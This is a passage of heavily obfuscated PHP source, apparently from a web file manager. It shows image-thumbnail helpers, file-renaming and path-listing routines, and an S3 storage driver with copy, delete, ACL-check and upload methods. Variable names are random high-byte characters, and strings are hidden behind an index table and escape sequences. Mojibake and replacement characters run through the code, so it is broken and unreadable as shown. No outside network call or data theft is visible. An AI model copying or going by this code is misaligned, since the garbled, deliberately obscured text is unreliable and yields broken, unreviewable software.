($¹¤úÉߪ) { return IO::fileOut(KodIO::make($¹¤úÉߪ), !1, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); } if ($õئïçó > 1000) { $this->makeImageCover($ƒç’êú°, $›Ž³¤Üí, $¬ŸÕžÓî, $õئïçó); $this->makeImageCover($ƒç’êú°, $›Ž³¤Üí, "\x63\x6f\x76\145\162\137{$ÏÒÇßÌ¢}\x5f\62\65\60\56\x70\x6e\x67", 250); $¹¤úÉߪ = IO::fileNameExist($ƒç’êú°, $¬ŸÕžÓî); if ($¹¤úÉߪ) { return IO::fileOut(KodIO::make($¹¤úÉߪ), !1, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); } die; } if (!kodIO::allowCover($‹¡¢ÙÃÇ)) { return $this->fileOut($›Ž³¤Üí, !1, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); } $ýÔŠ™²Í = Cache::get($¬ŸÕžÓî); if ($ýÔŠ™²Í == $¹<>±ÈŒ¼[196] || $ýÔŠ™²Í == $¹<>±ÈŒ¼[197]) { echo $ýÔŠ™²Í; die; } Cache::set($¬ŸÕžÓî, $¹<>±ÈŒ¼[197], 60); $ےýۥ = array($ƒç’êú°, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[87]], $¬ŸÕžÓî, $õئïçó); $ËÙ›žÝä = $¹<>±ÈŒ¼[198] . $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[79]] . $¹<>±ÈŒ¼[199] . $¬ŸÕžÓî . $¹<>±ÈŒ¼[200] . $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]] . $¹<>±ÈŒ¼[201] . $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[87]]; TaskQueue::add($¹<>±ÈŒ¼[202], $ےýۥ, $ËÙ›žÝä, $¬ŸÕžÓî); } public function makeImageCover($¾ìÜ<C3AC>ß÷, $¡Ô’ЖÉ, $ÂïËõب, $´µîÀ“ä) { $éáÅÒ£¨ =& $_SERVER[ˆ¡¹µ‹Â]; if (IO::fileNameExist($¾ìÜ<C3AC>ß÷, $ÂïËõب)) { return $éáÅÒ£¨[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $Á˜¿Óñ¬ = DATA_THUMB . $ÂïËõب; del_file($Á˜¿Óñ¬); $Ά¿<E280A0>ƒ<EFBFBD> = IO::copy($¡Ô’ЖÉ, TEMP_FILES, !1, $ÂïËõب); if (!@file_exists($Ά¿<E280A0>ƒ<EFBFBD>)) { return $éáÅÒ£¨[204]; } ImageThumb::createThumb($Ά¿<E280A0>ƒ<EFBFBD>, $Á˜¿Óñ¬, $´µîÀ“ä, $´µîÀ“ä * 10); if (@file_exists($Á˜¿Óñ¬)) { Cache::remove($ÂïËõب); return IO::move($Á˜¿Óñ¬, $¾ìÜ<C3AC>ß÷); } Cache::set($ÂïËõب, $éáÅÒ£¨[196], 600); del_file($Á˜¿Óñ¬); return $éáÅÒ£¨[205] . $Ά¿<E280A0>ƒ<EFBFBD> . $éáÅÒ£¨[74]; } public function fileOutImageServer($ôÂ<C3B4>ÂÆ…, $±³‡úƃ = 250) { $this->fileOutImage($ôÂ<C3B4>ÂÆ…, $±³‡úƃ); } public function fileNameAuto($§¢öÕŒÖ, $ÌñÓ„°î, $¦éÈ…¿â = REPEAT_RENAME, $ø „úä½ = false) { $ó©ßÛìç =& $_SERVER[ˆ¡¹µ‹Â]; $<24>Ç¿¨¼ = $§¢öÕŒÖ === $ó©ßÛìç[12] ? $ÌñÓ„°î : rtrim($§¢öÕŒÖ, $ó©ßÛìç[8]) . $ó©ßÛìç[8] . $ÌñÓ„°î; if ($¦éÈ…¿â == REPEAT_REPLACE || !$this->exist($<24>Ç¿¨¼) || $ø „úä½ && $¦éÈ…¿â != REPEAT_RENAME_FOLDER) { return $ÌñÓ„°î; } if ($¦éÈ…¿â == REPEAT_SKIP) { return !1; } $œÁ×öúã = $ó©ßÛìç[10] . get_path_ext($ÌñÓ„°î); $œÁ×öúã = $œÁ×öúã == $ó©ßÛìç[10] || $ø „úä½ ? $ó©ßÛìç[12] : $œÁ×öúã; $ì®<C3AC>Áú = 1; $÷èÊÝœ½ = substr($ÌñÓ„°î, 0, strlen($ÌñÓ„°î) - strlen($œÁ×öúã)); $<24>‡Â¿¡¿ = $÷èÊÝœ½ . "\x28{$ì®<C3AC>Áú}\51{$œÁ×öúã}"; while ($this->exist(rtrim($§¢öÕŒÖ, $ó©ßÛìç[8]) . $ó©ßÛìç[8] . $<24>‡Â¿¡¿)) { $<24>‡Â¿¡¿ = $÷èÊÝœ½ . "\x28{$ì®<C3AC>Áú}\x29{$œÁ×öúã}"; $ì®<C3AC>Áú++; } return $<24>‡Â¿¡¿; } private function fileNameAutoList($¯ò‡­î<C2AD>, $Ýë…Ò˵, $¤áÚ®ì· = false) { $«üæŽŸÄ =& $_SERVER[ˆ¡¹µ‹Â]; $‰‰¯ŒÂ‡ = $this->listPath($¯ò‡­î<C2AD>, !0); $‰‰¯ŒÂ‡ = array_merge($‰‰¯ŒÂ‡[$«ü掟Ä[85]], $‰‰¯ŒÂ‡[$«ü掟Ä[86]]); $˜Ë¦»âØ = array_to_keyvalue($‰‰¯ŒÂ‡, $«ü掟Ä[12], $«ü掟Ä[32]); $ñ°ý<C2B0>ج = $«ü掟Ä[10] . get_path_ext($Ýë…Ò˵); $ñ°ý<C2B0>ج = $ñ°ý<C2B0>ج == $«ü掟Ä[10] || $¤áÚ®ì· ? $«ü掟Ä[12] : $ñ°ý<C2B0>ج; $䊪ïÜ÷ = substr($Ýë…Ò˵, 0, strlen($Ýë…Ò˵) - strlen($ñ°ý<C2B0>ج)); $È¿‰šÍ« = $䊪ïÜ÷ . "\50\60\x29{$ñ°ý<C2B0>ج}"; for ($üݪ‰åº = 1; $üݪ‰åº <= count($˜Ë¦»âØ) + 1; $üݪ‰åº++) { $È¿‰šÍ« = $䊪ïÜ÷ . "\50{$üݪ‰åº}\51{$ñ°ý<C2B0>ج}"; if (!in_array_not_case($È¿‰šÍ«, $˜Ë¦»âØ)) { return $È¿‰šÍ«; } } return $È¿‰šÍ«; } public function listAllFiles($œØíÊŒ, $üåá–Éœ) { $–„ºñüó =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($üåá–Éœ)) { return array(); } $žÁ¢¢Íú = array_keys($üåá–Éœ); $—«<E28094><C2AB>¸÷ = array(); $œØíÊŒ = trim($œØíÊŒ, $–„ºñüó[8]); foreach ($üåá–Éœ as $ã¯ô·Î¿ => $Ñùþ©·í) { $‡Ñ<E280A1>×ó· = ltrim(substr(trim($ã¯ô·Î¿, $–„ºñüó[8]), strlen($œØíÊŒ)), $–„ºñüó[8]); if (substr($ã¯ô·Î¿, -1) == $–„ºñüó[8]) { $‡Ñ<E280A1>×ó· = rtrim($‡Ñ<E280A1>×ó·, $–„ºñüó[8]) . $–„ºñüó[8]; } $—«<E28094><C2AB>¸÷ = array_merge($—«<E28094><C2AB>¸÷, $this->slicePath($‡Ñ<E280A1>×ó·)); } $ã⎥‹¼ = array(); foreach (array_unique($—«<E28094><C2AB>¸÷) as $廢ʴþ) { $âëˆÛý’ = array($–„ºñüó[87] => $this->getPathOuter($–„ºñüó[8] . $œØíÊŒ . $–„ºñüó[8] . $廢ʴþ), $–„ºñüó[78] => 1, $–„ºñüó[79] => 0); if (substr($廢ʴþ, -1) != $–„ºñüó[8]) { $âëˆÛý’[$–„ºñüó[78]] = 0; $„«˜Ô¥ð = $this->getPath($œØíÊŒ . $–„ºñüó[8] . $廢ʴþ); if (isset($üåá–Éœ[$„«˜Ô¥ð])) { $¨ä‘áµ÷ = $üåá–Éœ[$„«˜Ô¥ð]; if (isset($¨ä‘áµ÷[$–„ºñüó[79]])) { $âëˆÛý’[$–„ºñüó[79]] = intval($¨ä‘áµ÷[$–„ºñüó[79]]); } if (isset($¨ä‘áµ÷[$–„ºñüó[206]])) { $âëˆÛý’[$–„ºñüó[88]] = intval($¨ä‘áµ÷[$–„ºñüó[206]]); } } } $ã⎥‹¼[] = $âëˆÛý’; } return $ã⎥‹¼; } public function slicePath($ã¯Ôîèò) { $ϼ<C38F>˜µ =& $_SERVER[ˆ¡¹µ‹Â]; $›Éš·«÷ = explode($ϼ<C38F>˜µ[8], trim($ã¯Ôîèò, $ϼ<C38F>˜µ[8])); $‚ÑûÞ¦ó = 0; do { ++$‚ÑûÞ¦ó; $Šöë俉[] = implode($ϼ<C38F>˜µ[8], array_slice($›Éš·«÷, 0, $‚ÑûÞ¦ó)) . $ϼ<C38F>˜µ[8]; } while ($‚ÑûÞ¦ó < count($›Éš·«÷)); $Šöë俉[count($›Éš·«÷) - 1] = $ã¯Ôîèò; return $Šöë俉; } public function getHost() { $’Ú¸”Óê =& $_SERVER[ˆ¡¹µ‹Â]; $ÇÊè<C38A>ÞÄ = parse_url(trim($this->domain, $’Ú¸”Óê[8])); $Æ÷¹”ï™ = isset($ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[207]]) ? $ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[207]] : http_type(); $„º„ƒ€ó = isset($ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[208]]) ? $ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[208]] : $ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[87]]; if (isset($ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[209]])) { $„º„ƒ€ó .= $’Ú¸”Óê[4] . $ÇÊè<C38A>ÞÄ[$’Ú¸”Óê[209]]; } return $Æ÷¹”ï™ . $’Ú¸”Óê[210] . $„º„ƒ€ó; } public function pathEncode($ÛñÁ<C3B1>ŠÀ) { $¶Ý¬õŒ£ =& $_SERVER[ˆ¡¹µ‹Â]; return str_replace($¶Ý¬õŒ£[211], $¶Ý¬õŒ£[8], rawurlencode($ÛñÁ<C3B1>ŠÀ)); } public function writeLog($¼ßÚ…ý¸ = '', $ÎÞ—ŠÍ™ = false) { $ΡŸ´êÞ =& $_SERVER[ˆ¡¹µ‹Â]; $¼·Ò<C2B7>Üï = in_array(ACTION, array($ΡŸ´êÞ[212], $ΡŸ´êÞ[213])); if (!$¼·Ò<C2B7>Üï && !GLOBAL_DEBUG) { return; } $Îˆà‘¾´ = $¼ßÚ…ý¸; static $ÚҤߙâ = null; if (!$ÚҤߙâ) { $ÚҤߙâ = strtoupper($this->getType()); } $¼ßÚ…ý¸ = $ÚҤߙâ . $ΡŸ´êÞ[214] . $¼ßÚ…ý¸; if ($ÎÞ—ŠÍ™) { $•¼<E280A2>ö<EFBFBD>œ = error_get_last(); if ($•¼<E280A2>ö<EFBFBD>œ) { $¼ßÚ…ý¸ = array($¼ßÚ…ý¸, $•¼<E280A2>ö<EFBFBD>œ); } } write_log($¼ßÚ…ý¸, $ΡŸ´êÞ[215]); if ($¼·Ò<C2B7>Üï) { throw new Exception($Îˆà‘¾´); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($¿Ã<C2BF>ã<EFBFBD>ñ) { set_timeout(); require_once SDK_DIR . $_SERVER[ˆ¡¹µ‹Â][216]; parent::__construct(); $this->_init($¿Ã<C2BF>ã<EFBFBD>ñ); } public function _init($ŠÛìÉÈü) { $íú©ð–Œ =& $_SERVER[ˆ¡¹µ‹Â]; $this->config = $ŠÛìÉÈü; foreach ($ŠÛìÉÈü as $þœä<C593>í => $¶œØ¹•…) { if (isset($this->{$þœä<C593>í})) { $this->{$þœä<C593>í} = $¶œØ¹•…; } } $this->endpoint = $ŠÛìÉÈü[$íú©ð–Œ[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($íú©ð–Œ[212], $íú©ð–Œ[213]))) { $this->client->setExceptions(); } } public function setSignVersion($Ö °¯ïî = "\166\x34") { $this->signVer = $Ö °¯ïî; $this->client->setSignatureVersion($Ö °¯ïî); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $ðž±Ô¨«) { return null; } } public function isBucketCors() { $¿¾‡‡¬ =& $_SERVER[ˆ¡¹µ‹Â]; $’£—­›ð = $this->getBucketCors(); if (!$’£—­›ð || !is_array($’£—­›ð)) { return !1; } if (!is_array($’£—­›ð[$¿¾‡‡¬[218]])) { $’£—­›ð[$¿¾‡‡¬[218]] = explode($¿¾‡‡¬[50], $’£—­›ð[$¿¾‡‡¬[218]]); } if ($’£—­›ð[$¿¾‡‡¬[219]] != $¿¾‡‡¬[220] || !in_array($¿¾‡‡¬[220], $’£—­›ð[$¿¾‡‡¬[218]])) { return !1; } $Ó­¸¬Ê’ = array_map($¿¾‡‡¬[221], $’£—­›ð[$¿¾‡‡¬[222]]); if (!is_array($Ó­¸¬Ê’)) { $Ó­¸¬Ê’ = array(); } $žÑ¯½¨¦ = array($¿¾‡‡¬[223], $¿¾‡‡¬[224], $¿¾‡‡¬[225], $¿¾‡‡¬[226], $¿¾‡‡¬[227]); $ØÊªéÄ¡ = array_diff($žÑ¯½¨¦, $Ó­¸¬Ê’); return empty($ØÊªéÄ¡); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($ܶ‹ö¨‹, $Žä‘úר = '', $¤è¿éÌÁ = REPEAT_RENAME) { $ß¨ÆØÈ  = $this->setContent($ܶ‹ö¨‹, $Žä‘úר); if ($ß¨ÆØÈ  !== !1) { return $this->getPathOuter($ܶ‹ö¨‹); } return !1; } public function mkdir($ͳÉÁß<C381>, $©¾Û®¶Æ = REPEAT_SKIP) { $®üÉä¿• =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($ͳÉÁß<C381>) && $ͳÉÁß<C381> !== $®üÉä¿•[228]) { return !1; } if ($©¾Û®¶Æ && $this->_isFolder($ͳÉÁß<C381>)) { return $this->getPathOuter($ͳÉÁß<C381>); } $ö<E28099>©§ñ = $this->setContent($ͳÉÁß<C381>, $®üÉä¿•[12], !0); if ($ö<E28099>©§ñ !== !1) { return $this->getPathOuter($ͳÉÁß<C381>); } return !1; } public function copyFile($»¢ÜŽË±, $<24>ë•Í”±, $¦®ÁÜ­Â = array()) { $’Ù¢ïÔž =& $_SERVER[ˆ¡¹µ‹Â]; $“ϧܑ¶ = $this->objectMeta($»¢ÜŽË±); if (!$“ϧܑ¶) { return !1; } if ($“ϧܑ¶[$’Ù¢ïÔž[79]] <= 1024 * 1024 * 200) { $Þߌ¸<C592>à = $this->client->copyObject($this->bucket, $»¢ÜŽË±, $this->bucket, $<24>ë•Í”±, $’Ù¢ïÔž[229], $¦®ÁÜ­Â); } else { $Þߌ¸<C592>à = $this->client->multiCopyObject($this->bucket, $»¢ÜŽË±, $this->bucket, $<24>ë•Í”±, $¦®ÁÜ­Â); } $Þߌ¸<C592>à = $Þߌ¸<C592>à ? $this->getPathOuter($<24>ë•Í”±) : !1; return $Þߌ¸<C592>à; } public function moveFile($”º<E2809D>å¾ã, $<24>ჶøÖ) { if ($this->copyFile($”º<E2809D>å¾ã, $<24>ჶøÖ)) { $this->delFile($”º<E2809D>å¾ã); return $this->getPathOuter($<24>ჶøÖ); } return !1; } public function delFile($³ŒÎÆ­ï) { return $this->client->deleteObject($this->bucket, $³ŒÎÆ­ï); } public function delFolder($ùե㇋) { $™º°€¿‰ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->exist($ùե㇋)) { return !0; } $this->listItemCache = !1; $‹ºåùÚé = $this->fileList($ùե㇋); $this->listItemCache = !0; $¥úÍÞúà = trim($ùե㇋, $™º°€¿‰[8]) . $™º°€¿‰[8]; if (!empty($ùե㇋) && $ùե㇋ !== $™º°€¿‰[228] && !in_array($¥úÍÞúÃ, $‹ºåùÚé[$™º°€¿‰[85]])) { $‹ºåùÚé[$™º°€¿‰[85]][] = $¥úÍÞúÃ; } $ÄખôÍ = $this->delByBatch($‹ºåùÚé[$™º°€¿‰[86]]); if (!$ÄખôÍ) { return !1; } $ÄખôÍ = $this->delByBatch($‹ºåùÚé[$™º°€¿‰[85]]); if (!$ÄખôÍ) { return !1; } return $this->delFile($¥úÍÞúÃ); } private function delByBatch($æØ¨œã÷) { foreach (array_chunk($æØ¨œã÷, 1000) as $»ñ˨ð¸) { $¹‰È¼ÏÛ = $this->client->deleteObjects($this->bucket, $»ñ˨ð¸); if (!$¹‰È¼ÏÛ) { return !1; } } return !0; } public function rename($´õêôÝæ, $ÅÁ’Ù•ø) { return $this->renameObject($´õêôÝæ, $ÅÁ’Ù•ø); } public function listPath($èž©Œ¢¼, $„Óâ«Þë = false) { $œ¦¶Èï<C388> =& $_SERVER[ˆ¡¹µ‹Â]; $í£õÁøã = $this->fileList($èž©Œ¢¼, $œ¦¶Èï<C388>[8], !0); foreach ($í£õÁøã[$œ¦¶Èï<C388>[85]] as $Ìã±ÐšÔ => $ˆ‚»Ñô®) { $í£õÁøã[$œ¦¶Èï<C388>[85]][$Ìã±ÐšÔ] = $this->folderInfo($ˆ‚»Ñô®, $„Óâ«Þë, $ˆ‚»Ñô®); } foreach ($í£õÁøã[$œ¦¶Èï<C388>[86]] as $Ìã±ÐšÔ => $ˆ‚»Ñô®) { $í£õÁøã[$œ¦¶Èï<C388>[86]][$Ìã±ÐšÔ] = $this->fileInfo($ˆ‚»Ñô®[$œ¦¶Èï<C388>[32]], $„Óâ«Þë, $ˆ‚»Ñô®); } return $í£õÁøã; } protected function infoChildren($×¾°Çäï, &$Úŧ£€È) { $ø‘ñή› =& $_SERVER[ˆ¡¹µ‹Â]; $ù <C3B9>ÜÂê = $this->fileList($×¾°Çäï, $ø‘ñή›[12], !0); $Úŧ£€È[$ø‘ñή›[81]] += count($ù <C3B9>ÜÂê[$ø‘ñή›[85]]); $Úŧ£€È[$ø‘ñή›[80]] += count($ù <C3B9>ÜÂê[$ø‘ñή›[86]]); foreach ($ù <C3B9>ÜÂê[$ø‘ñή›[86]] as $×ÚŽÆ‹Ë) { if (!$×ÚŽÆ‹Ë || !$×ÚŽÆ‹Ë[$ø‘ñή›[79]]) { continue; } $Úŧ£€È[$ø‘ñή›[79]] += $×ÚŽÆ‹Ë[$ø‘ñή›[79]]; } } private function fileInfo($êȘÁ¥<C381>, $¼Þءɜ = false, $ƒÀ܇ôÁ = array()) { $à¢Î¿´¯ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>¨´Ç¢ü = array($à¢Î¿´¯[32] => $this->pathThis($êȘÁ¥<C381>), $à¢Î¿´¯[87] => $this->getPathOuter($êȘÁ¥<C381>), $à¢Î¿´¯[33] => $à¢Î¿´¯[230], $à¢Î¿´¯[169] => $this->ext($êȘÁ¥<C381>), $à¢Î¿´¯[79] => isset($ƒÀ܇ôÁ[$à¢Î¿´¯[79]]) ? $ƒÀ܇ôÁ[$à¢Î¿´¯[79]] : 0); if ($¼Þءɜ) { return $<24>¨´Ç¢ü; } $<24>¨´Ç¢ü[$à¢Î¿´¯[231]] = $<24>¨´Ç¢ü[$à¢Î¿´¯[88]] = 0; $<24>¨´Ç¢ü[$à¢Î¿´¯[232]] = $<24>¨´Ç¢ü[$à¢Î¿´¯[233]] = !0; if (empty($ƒÀ܇ôÁ)) { $ƒÀ܇ôÁ = $this->objectMeta($êȘÁ¥<C381>); if (!$ƒÀ܇ôÁ) { return $<24>¨´Ç¢ü; } } if (isset($ƒÀ܇ôÁ[$à¢Î¿´¯[234]]) && $ƒÀ܇ôÁ[$à¢Î¿´¯[234]]) { $<24>¨´Ç¢ü[$à¢Î¿´¯[235]] = $ƒÀ܇ôÁ[$à¢Î¿´¯[234]]; } if (isset($ƒÀ܇ôÁ[$à¢Î¿´¯[206]])) { $<24>¨´Ç¢ü[$à¢Î¿´¯[88]] = $ƒÀ܇ôÁ[$à¢Î¿´¯[206]]; } if (isset($ƒÀ܇ôÁ[$à¢Î¿´¯[79]])) { $<24>¨´Ç¢ü[$à¢Î¿´¯[79]] = $ƒÀ܇ôÁ[$à¢Î¿´¯[79]]; } return $<24>¨´Ç¢ü; } private function folderInfo($ƒ¯×à‹à, $Ÿ<>þò©‰ = false, $ͪ¹ÉÈß = array()) { $ÈÔõª« =& $_SERVER[ˆ¡¹µ‹Â]; $¶Ñ®·œ‡ = array($ÈÔõª«[32] => $this->pathThis($ƒ¯×à‹à), $ÈÔõª«[87] => $this->getPathOuter($ÈÔõª«[8] . $ƒ¯×à‹à), $ÈÔõª«[33] => $ÈÔõª«[78]); if ($Ÿ<>þò©‰) { return $¶Ñ®·œ‡; } $¶Ñ®·œ‡[$ÈÔõª«[231]] = $¶Ñ®·œ‡[$ÈÔõª«[88]] = 0; $¶Ñ®·œ‡[$ÈÔõª«[232]] = $¶Ñ®·œ‡[$ÈÔõª«[233]] = !0; if ($ƒ¯×à‹à == $ÈÔõª«[12]) { return $¶Ñ®·œ‡; } if (empty($ͪ¹ÉÈß)) { $ͪ¹ÉÈß = $this->objectMeta(trim($ƒ¯×à‹à, $ÈÔõª«[8]) . $ÈÔõª«[8]); } if (isset($ͪ¹ÉÈß[$ÈÔõª«[206]])) { $¶Ñ®·œ‡[$ÈÔõª«[231]] = $ͪ¹ÉÈß[$ÈÔõª«[206]]; } return $¶Ñ®·œ‡; } private function fileList($„σո‘, $˜ö­š±– = '', $ŒòÛ‰…Á = 0) { $¿Õ䳊¨ =& $_SERVER[ˆ¡¹µ‹Â]; $àѽ›…ß = rtrim($„σո‘, $¿Õ䳊¨[8]) . $¿Õ䳊¨[8]; $Š–ÆÙÇÅ = $this->listObjs($àѽ›…ß, null, null, $˜ö­š±–); if (!$Š–ÆÙÇÅ) { return array($¿Õ䳊¨[85] => array(), $¿Õ䳊¨[86] => array()); } $åê <C3AA>¼… = $¡¡ŸÙž• = array(); foreach ($Š–ÆÙÇÅ[$¿Õ䳊¨[236]] as $›±å°à—) { $<24>»Ô‡²¯ = $›±å°à—[$¿Õ䳊¨[32]]; if ($<24>»Ô‡²¯ == $àѽ›…ß) { continue; } $ïÏŽÐ<C5BD>ž = isset($›±å°à—[$¿Õ䳊¨[79]]) ? $›±å°à—[$¿Õ䳊¨[79]] : 0; $ÄüÖ†€Ã = $ïÏŽÐ<C5BD>ž == 0 && substr($<24>»Ô‡²¯, strlen($<24>»Ô‡²¯) - 1, 1) == $¿Õ䳊¨[8] ? !0 : !1; $this->cacheMethodInfoSet($<24>»Ô‡²¯, $ÄüÖ†€Ã, $›±å°à—); if ($ÄüÖ†€Ã) { $åê <C3AA>¼…[] = $<24>»Ô‡²¯; continue; } $¡¡ŸÙž•[] = $ŒòÛ‰…Á ? $›±å°à— : $<24>»Ô‡²¯; } foreach ($Š–ÆÙÇÅ[$¿Õ䳊¨[237]] as $›±å°à—) { $åê <C3AA>¼…[] = $›±å°à—[$¿Õ䳊¨[32]]; $this->cacheMethodInfoSet($›±å°à—[$¿Õ䳊¨[32]], !0); } $this->cacheMethodInfoSet($„σո‘, !0); return array($¿Õ䳊¨[85] => $åê <C3AA>¼…, $¿Õ䳊¨[86] => $¡¡ŸÙž•); } private function listObjs($ÒôºÏ£î, $Ë‘’ŽØ£ = null, $£›Çöµû = null, $˜ðëþ—à = null) { $ìË Òƒ“ =& $_SERVER[ˆ¡¹µ‹Â]; $ÒôºÏ£î = trim($ÒôºÏ£î, $ìË Òƒ“[8]); $ä˜Å»<C385>à = empty($ÒôºÏ£î) && $ÒôºÏ£î !== $ìË Òƒ“[228] ? $ìË Òƒ“[12] : $ÒôºÏ£î . $ìË Òƒ“[8]; return $this->client->getBucket($this->bucket, $ä˜Å»<C385>Ã, $Ë‘’ŽØ£, $£›Çöµû, $˜ðëþ—à, !0); } public function has($þó°‘¼Ã, $•­íæÁ³ = false, $ßÀŽõ·Ä = true) { $€—áÙü½ =& $_SERVER[ˆ¡¹µ‹Â]; $þ󰑼à = trim($þó°‘¼Ã, $€—áÙü½[8]); $ý…€ËÏÍ = empty($þó°‘¼Ã) && $þ󰑼à !== $€—áÙü½[228] ? $€—áÙü½[12] : $þ󰑼à . $€—áÙü½[8]; $ž×»‡ö› = null; $çÜÁÞ£õ = 500; $Ïœ±àÒÐ = $€—áÙü½[8]; $€ð‹Ùüà = $ÔïÀ¨öê = array(); while (!0) { $ÐîÇɃ£ = $this->listObjs($þó°‘¼Ã, $ž×»‡ö›, $çÜÁÞ£õ, $Ïœ±àÒÐ); if (!$ÐîÇɃ£) { break; } $ž×»‡ö› = $ÐîÇɃ£[$€—áÙü½[238]]; $Õ͹Ûþ÷ = $ÐîÇɃ£[$€—áÙü½[236]]; $ø±ú ›€ = $ÐîÇɃ£[$€—áÙü½[237]]; if (empty($Õ͹Ûþ÷) && empty($ø±ú ›€)) { break; } if (count($Õ͹Ûþ÷) == 1 && $Õ͹Ûþ÷[0][$€—áÙü½[32]] == $ý…€ËÏÍ) { break; } if ($•­íæÁ³) { if (count($Õ͹Ûþ÷)) { $Õ͹Ûþ÷ = array_column($Õ͹Ûþ÷, $€—áÙü½[32]); $€ð‹Ùüà = array_merge($€ð‹ÙüÃ, $Õ͹Ûþ÷); } if (count($ø±ú ›€)) { $ø±ú ›€ = array_column($ø±ú ›€, $€—áÙü½[32]); $ÔïÀ¨öê = array_merge($ÔïÀ¨öê, $ø±ú ›€); } if ($ž×»‡ö› === null) { break; } continue; } if ($ßÀŽõ·Ä) { if (!empty($Õ͹Ûþ÷)) { if (count($Õ͹Ûþ÷) > 1 || isset($Õ͹Ûþ÷[0][$€—áÙü½[32]]) && $Õ͹Ûþ÷[0][$€—áÙü½[32]] != $ý…€ËÏÍ) { return !0; } } } else { if (!empty($ø±ú ›€)) { return !0; } } if ($ž×»‡ö› === null) { break; } } if ($•­íæÁ³) { $€ð‹Ùüà = array_diff($€ð‹ÙüÃ, array($ý…€ËÏÍ)); $€ð‹Ùüà = count(array_unique($€ð‹ÙüÃ)); $ÔïÀ¨öê = count(array_unique($ÔïÀ¨öê)); return array($€—áÙü½[239] => $€ð‹ÙüÃ, $€—áÙü½[240] => $ÔïÀ¨öê); } return !1; } public function listAll($ÔðÚøÁÅ) { $Ì<>íç‡í =& $_SERVER[ˆ¡¹µ‹Â]; $ç«„‚Ÿã = $this->fileList($ÔðÚøÁÅ, $Ì<>íç‡í[12], !0); $„篟Ã<C5B8> = array_to_keyvalue($ç«„‚Ÿã[$Ì<>íç‡í[86]], $Ì<>íç‡í[32]); foreach ($ç«„‚Ÿã[$Ì<>íç‡í[85]] as $ò¾Ç÷ˈ) { if (is_string($ò¾Ç÷ˈ)) { $„篟Ã<C5B8>[$ò¾Ç÷ˈ] = array($Ì<>íç‡í[79] => 0); } } return $this->listAllFiles($ÔðÚøÁÅ, $„篟Ã<C5B8>); } public function canRead($ˆ« <C2AB>³) { $­œü¶Çà =& $_SERVER[ˆ¡¹µ‹Â]; $èÜä”–Å = $this->client->getAccessControlPolicy($this->bucket, $ˆ« <C2AB>³); if (!$èÜä”–Å) { return !1; } return in_array($èÜä”–Å, array($­œü¶ÇÃ[241], $­œü¶ÇÃ[242], $­œü¶ÇÃ[243])) ? !0 : !1; } public function canWrite($íù›µêƒ) { $×þËÉç« =& $_SERVER[ˆ¡¹µ‹Â]; $—ªæÀôå = $this->client->getAccessControlPolicy($this->bucket, $íù›µêƒ); if (!$—ªæÀôå) { return !1; } return in_array($—ªæÀôå, array($×þËÉç«[241], $×þËÉç«[242])) ? !0 : !1; } public function getContent($ºäèÞ‹Ž) { return $this->client->getObject($this->bucket, $ºäèÞ‹Ž); } public function setContent($µŒÉýûô, $Ô¹×ã¹á = '', $›ƒ÷Þ‹À = false) { $Ń’Íä  =& $_SERVER[ˆ¡¹µ‹Â]; $µŒÉýûô = $›ƒ÷Þ‹À ? trim($µŒÉýûô, $Ń’Íä [8]) . $Ń’Íä [8] : $µŒÉýûô; $ÌŠ¦þ»Ý = get_file_mime(get_path_ext($µŒÉýûô)); $¢ˆÓ²Í€ = $this->client->putObject($Ô¹×ã¹á, $this->bucket, $µŒÉýûô, $Ń’Íä [229], array(), $ÌŠ¦þ»Ý); if (!$¢ˆÓ²Í€) { return !1; } if ($›ƒ÷Þ‹À) { return !0; } return $¢ˆÓ²Í€ ? !0 : !1; } public function fileSubstr($ô廿Ýï, $Ì<>°Ü„, $—’¯Ðû¥) { $–©˜â ¿ = $Ì<>°Ü„ + $—’¯Ðû¥ - 1; return $this->client->getObject($this->bucket, $ô廿Ýï, array($_SERVER[ˆ¡¹µ‹Â][244] => "\142\x79\164\x65\163\x3d{$Ì<>°Ü„}\x2d{$–©˜â ¿}")); } public function upload($Ùð¬Ü ¹, $<24>†èÙɽ, $ޜ֯¤© = false, $ðŸååÔž = REPEAT_REPLACE) { $Œºò<E28093>ê =& $_SERVER[ˆ¡¹µ‹Â]; $¬¸<C2AC>Ÿ<C5B8> = array($Œºò<E28093>ê[245] => @md5_file($<24>†èÙɽ)); $ˆùÈ–ü = array($Œºò<E28093>ê[246] => get_file_mime(get_path_ext($Ùð¬Ü ¹))); if (IO::size($<24>†èÙɽ) <= 1024 * 1024 * 200) { $Š»ì÷£æ = $this->client->putObjectFile($<24>†èÙɽ, $this->bucket, $Ùð¬Ü ¹, $Œºò<E28093>ê[229], $¬¸<C2AC>Ÿ<C5B8>, $ˆùÈ–ü); return !empty($Š»ì÷£æ) ? $this->getPathOuter($Ùð¬Ü ¹) : !1; } $ƒ<>ø™ýö = 